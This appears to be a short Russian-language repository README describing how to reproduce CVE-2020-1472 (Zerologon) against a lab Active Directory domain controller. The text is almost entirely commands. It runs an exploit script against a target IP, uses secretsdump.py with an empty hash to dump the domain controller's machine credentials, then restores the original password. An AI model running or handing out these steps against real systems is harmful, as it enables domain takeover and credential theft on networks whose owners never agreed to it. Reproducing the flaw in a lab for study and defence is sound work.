naxg/cve-2020-1472Процесс воспроизведения CVE-2020-1472
После воспроизведения есть небольшие баги: после перезагрузки система долго зависает на странице входа. Не знаю, только ли у меня так. (Осторожно при использовании в реальной среде) В реальных условиях можно использовать -use-vss и -history из secretsdump.py для получения исторических хэшей и восстановления.
Шаг 1
pip3 install -r requirements.txt
Просмотр хэша
secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'
Атака
python3 CVE-2020-1472.py AD AD$ 192.168.175.132
Запрос хэша контроллера домена
secretsdump.py molecule-labs.com/'AD$'@192.168.175.132 -just-dc-user 'AD$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
Восстановление хэша
python3 reinstall_original_pw.py AD 192.168.175.132 061e8e521872fa93a2f8d89ca0683145
Проверка восстановленного хэша
secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'
Источник скриптов https://github.com/blackarrowsec/redteam-research
